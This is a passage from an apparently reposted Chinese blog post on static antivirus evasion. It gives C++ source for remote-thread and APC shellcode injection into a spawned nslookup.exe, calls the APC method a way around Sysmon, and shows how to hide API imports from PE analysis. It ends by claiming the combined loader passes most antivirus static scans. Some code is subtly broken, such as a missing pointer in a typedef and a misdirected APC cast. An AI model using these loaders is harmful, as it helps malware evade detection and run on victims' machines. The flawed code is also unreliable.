        return NULL;

    }

    RawData.append((char *)pInfoBuffer, dwBytesStreamFile);

    if (pInfoBuffer)

    {

        delete[] pInfoBuffer;

    }

    return dwBytesStreamFile;

}

注入

用到的分析工具

 

进程监测工具:Overview – Process Hacker (sourceforge.io)

远线程注入

关于CreateRemoteThread远线程注入,实际上有三个主要步骤需要实现:

  1. VirtualAllocEx() – 在外部进程的虚拟地址空间内分配内存。

  2. WriteProcessMemory() – 将shellcode写入分配的内存。

  3. CreateRemoteThread() – 让外部进程在另一个线程中执行shellcode。


#include <iostream>

#include <Windows.h>

#define EXE_PATH "C:\Windows\System32\nslookup.exe"

int main(int argc,char argv[])

{

    unsigned char shellcode[] ="";

    //创建进程:

    STARTUPINFO si;

    PROCESS_INFORMATION pi;

    LPVOID AllocAddress;

    SIZE_T SizeOfShellCode = sizeof(shellcode);

    HANDLE hProcess, hThread;

    ZeroMemory(&si, sizeof(si));

    ZeroMemory(&pi, sizeof(pi));

    si.cb = sizeof(si);

 

    if (!CreateProcess(

        EXE_PATH, NULL, NULL, NULL, FALSE,                           

        CREATE_NO_WINDOW, NULL, NULL, &si, &pi )) {

        DWORD ErrorCode = GetLastError();

        std::cout << "FAILED:" << ErrorCode << std::endl;

    }

    WaitForSingleObject(pi.hProcess, 3000); //3s

    //申请内存

  AllocAddress = VirtualAllocEx(pi.hProcess, NULL, SizeOfShellCode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    //写入

WriteProcessMemory(pi.hProcess, AllocAddress, shellcode, SizeOfShellCode, NULL);

    //创建线程CreateRemoteThread(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)AllocAddress, NULL, 00);

    system("pause");

    return 0;

}

监控内存

用Visual Stdio在 VirtuallAllocEx处下断点,找到申请内存的基地址:

 

Soloz的静态恶意代码免杀

 

用Process Hacker找调试进程,并找到此地址,可以看到此处是RWX可读可写可执行的内存块,且数据都为0:

 

Soloz的静态恶意代码免杀

 

然后F10往下走一步,写入数据:

 

Soloz的静态恶意代码免杀

 

点击Re-read,数据已经写入:

 

Soloz的静态恶意代码免杀

 

再往下走,便会创建线程弹出notepad.exe

APC注入

主要API:QueueUserAPC function (processthreadsapi.h) – Win32 apps | Microsoft Docs ,将用户模式异步过程调用(APC) 对象添加到指定线程的 APC 队列中。它主要的优势在于可以绕过Sysmon。

 

QueueUserAPC 是一个异步过程调用。

 

异步:是指程序发起了调用或者请求,无需等待返回结果,程序可以接着执行,等调用或者请求结束之后再通知程序拿到结果,不影响程序的执行。

 

给出实例:

  • CreateProcess() 创建一个要注入的进程

  • VIrtualAllocEx() 在上一步创建的进程中,开辟一段虚拟的内存空间

  • WriteProcessMemory() 将shellcode写入

  • QueueUserAPC 注入


#include <iostream>

#include <Windows.h>

#define EXE_PATH "C:\Windows\System32\nslookup.exe"

int main()

{

    unsigned char shellcode[] ="";

    // 创建进程 x64

    STARTUPINFO si;

    PROCESS_INFORMATION pi;

    LPVOID AllocAddress;

    SIZE_T shellcode_size = sizeof(shellcode);

    HANDLE hProcess, hThread;

    NTSTATUS status;

    ZeroMemory(&si, sizeof(si));

    ZeroMemory(&pi, sizeof(pi));

    si.cb = sizeof(si);

    if (!CreateProcessW(

        EXE_PATH,

        NULL,                           

        NULL,                           

        NULL,                           

        FALSE,                           

        CREATE_SUSPENDED |         CREATE_NO_WINDOW,             

        NULL, NULL, &si, &pi                               

    )) {

        DWORD ErrCode = GetLastError();

        std::cout << "FAILED:" << ErrCode << std::endl;

    }

    WaitForSingleObject(pi.hProcess, 3000);

    hProcess = pi.hProcess;

    hThread = pi.hThread;

 

    // 申请内存空间

    AllocAddress = VirtualAllocEx(hProcess, NULL, shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    //写入

    WriteProcessMemory(hProcess, AllocAddress, shellcode, shellcode_size, NULL);

    // 注入

    PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellcode_size;

    QueueUserAPC((PAPCFUNC)apcRoutine, hThread, NULL);

    // 唤醒

    ResumeThread(hThread);

    return 0;

}

隐藏导入表函数

在PE结构中,存在一个导入表,导入表中声明了这个PE文件会载入哪些模块,同时每个模块的结构中又会指向模块中的一些函数名称,直接调用API会很容易被PE解析器发现我们的意图,尝试使用隐函数的方式隐藏导入表中的信息。

 

GetProcAddress | Microsoft Docs 这个API在Kernel32.dll中被导出,主要功能是从一个加载的模块中获取函数的地址。

 

一个最简单的shellcode加载器,可以是这样的:

 

Soloz的静态恶意代码免杀

 

用LoadPE查看导入表:

 

Soloz的静态恶意代码免杀

 

现在通过函数指针的方式做一些优化:


typedef LPVOID(WINAPI* MyVirtualAlloc)(

    LPVOID lpAddress,

    SIZE_T dwSize,

    DWORD flAllocationType,

    DWORD flProtect

    );

 

typedef BOOL(WINAPIMyVirtualProtect)(

        LPVOID lpAddress,

        SIZE_T dwSize,

        DWORD flNewProtect,

        PDWORD lpflOldProtect

        );

typedef HANDLE(WINAPI* MyCreateThread)

(

    LPSECURITY_ATTRIBUTES lpThreadAttributes,

    SIZE_T dwStackSize,

    LPTHREAD_START_ROUTINE lpStartAddress,

    LPVOID lpParameter,

    DWORD dwCreationFlags,

     LPDWORD lpThreadId

);

typedef DWORD(WINAPI* MyWaitForSingleObject)

(

    HANDLE hHandle,

    DWORD dwMilliseconds

);

 

int main() {

    MyVirtualAlloc defVirtualAlloc = (MyVirtualAlloc)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc");

    MyVirtualProtect defVirtualProtect = (MyVirtualProtect)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualProtect");

    MyCreateThread defCreateThread = (MyCreateThread)GetProcAddress(GetModuleHandle("kernel32.dll"), "CreateThread");

    MyWaitForSingleObject defWaitforSingleObject = (MyWaitForSingleObject)GetProcAddress(GetModuleHandle("kernel32.dll"), "WaitForSingleObject");

    .......

    }

重新生成,再次打开:

 

Soloz的静态恶意代码免杀

最后

综合一下这几个小项目,得到一个能过大部分杀软静态扫描的项目:

 

Soloz的静态恶意代码免杀

 

参考链接:

 

https://github.com/kokke/tiny-AES-c

 

http://payloads.online/

 

https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/



原文始发于微信公众号(MicroPest):Soloz的静态恶意代码免杀

版权声明:admin 发表于 2022年1月18日 下午11:10。
转载请注明:Soloz的静态恶意代码免杀 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...